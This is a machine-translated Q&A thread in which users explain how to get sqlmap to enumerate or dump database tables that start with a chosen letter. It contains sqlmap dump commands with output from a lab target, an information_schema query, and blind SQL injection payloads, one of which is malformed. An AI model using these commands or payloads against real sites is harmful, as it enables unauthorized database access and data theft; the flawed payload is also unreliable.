SQLMap:如何转储以特定字母开头的表?

信息安全 sql注入 sqlmap
2021-09-10 23:07:11

我想知道 SQLMap 的命令,它允许我只检索以特殊字母开头的表。带有字母“T”的示例:

sqlmap.py -u www.website -D database -T tables (...)
3个回答
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

SQLMap 本身不支持此功能。但是您可以构建自己的查询来准确检索您需要的内容。你需要看看--sql-shell parameter它会弹出shell命令。您在该 shell 上键入的每个查询都将通过 sql 注入攻击执行!

您可以使用以下查询。它检索以“w”开头的表名:

SELECT table_name FROM information_schema.tables WHERE table_schema=database() and table_name LIKE 'w%';

实际上,上面的查询与原生 SQLMap 负载几乎相同。例如,SQLMap 使用以下有效负载进行 SQL 盲注。

' AND SUBSTRING('SELECT version()', 1,1)

在此有效负载中,SQLMap 尝试检索SELECT version();SQLMap XML 文件中预定义的查询结果。我们正在使用 更新此查询--sql-shell command您传递给终端的每个“正常”数据库查询都将被替换为SELECT version();.

' AND SUBSTRING('SELECT table_name FROM information_schema.tables WHERE table_schema=database() and table_name LIKE 'w%';', 1,1)

只要您的自定义查询正确,SQL 注入机制的其余部分就可以了。

我相信在这种情况下你有两个选择:

  1. 您可以sqlmap在 shell 脚本内部使用来列出表,并保存这些结果以通过对 sqlmap.

  2. 您可以sqlmap使用 --sql-query option.

我认为该工具无法按照您的意愿运行,如下所示:

sqlmap.py -u www.website -D database -T "t*"